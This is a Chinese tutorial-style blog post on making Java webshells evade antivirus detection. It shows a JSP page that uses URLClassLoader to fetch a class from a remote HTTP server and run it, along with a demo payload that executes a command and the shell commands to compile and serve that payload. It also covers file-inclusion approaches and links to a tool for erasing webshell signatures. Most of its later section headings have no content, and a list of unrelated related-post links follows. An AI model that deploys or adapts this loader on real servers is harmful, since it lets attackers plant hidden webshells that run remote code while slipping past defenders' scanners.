JAVA攻防-Webshell免杀&JSP&JSPX脚本&URL类加载&远程分离&文件包含&工具特征消除

知识点:

Java攻防-WebShell免杀-URL类加载器&文件包含&远程分离

演示案例-Java攻防-WebShell免杀-URL类加载器&文件包含&远程分离

免杀应用-URL类加载器


bash 复制代码
import java.io.IOException;
 
public class Run {
    public Run() throws IOException {
Runtime.getRuntime().exec("calc");
    }
}


bash 复制代码
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
 
public class URLTest {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")});
Class<?> aClass = urlClassLoader.loadClass("Run");
aClass.newInstance();
    }
}
bash 复制代码
javac Run.java
python -m http.server 8888





bash 复制代码
<%@ page import="java.net.URL, java.net.URLClassLoader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    try {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")});
Class<?> aClass = urlClassLoader.loadClass("Run");
aClass.newInstance();
out.println("Class loaded and instantiated successfully.");
    } catch (Exception e) {
out.println("Error: " + e.toString());
e.printStackTrace();
    }
%>





免杀应用-Webshell


1、本地文件包含





2、远程文件包含





3、远程读取配合类加载

4、远程类加载器配合

5、免杀工具思路特征改动

https://github.com/Ni4n/ShellGenerate










相关推荐
Jul1en_12 小时前
【Java 脚手架】封装通用工具类-1
java·spring boot·分布式·spring·spring cloud
关于不上作者榜就原神启动那件事12 小时前
从 MDC 到 Agent:我手搓的文档路由协议,在 Spring AI Alibaba 里找到了正式实现
java·人工智能·spring·ai·agent
亦暖筑序13 小时前
重新认识 AgentScope-Java 2.0:ReActAgent 负责推理,HarnessAgent 负责运行
java·后端·agent
木井巳13 小时前
【DFS解决floodfill算法】岛屿的最大面积
java·算法·leetcode·深度优先
运维大师13 小时前
【K8S 运维实战】34-多集群管理Karmada
java·运维·kubernetes
林森lsjs13 小时前
完结撒花!Java SE 语法阶段总结!
java·开发语言
lupai13 小时前
短信接口快速接入与调用实战指南
java·开发语言·数据库
ltqvibe13 小时前
企业智能问数落地:从一句话到跨系统完整答案
java·人工智能·本体语义平台
会编程的吕洞宾13 小时前
Spring Boot 虚拟线程实战:从原理到生产环境
java·后端·spring
黑桃小柒713 小时前
Prompt 工程的“断舍离“:如何用更少的词让 AI Agent 更聪明
java·后端·spring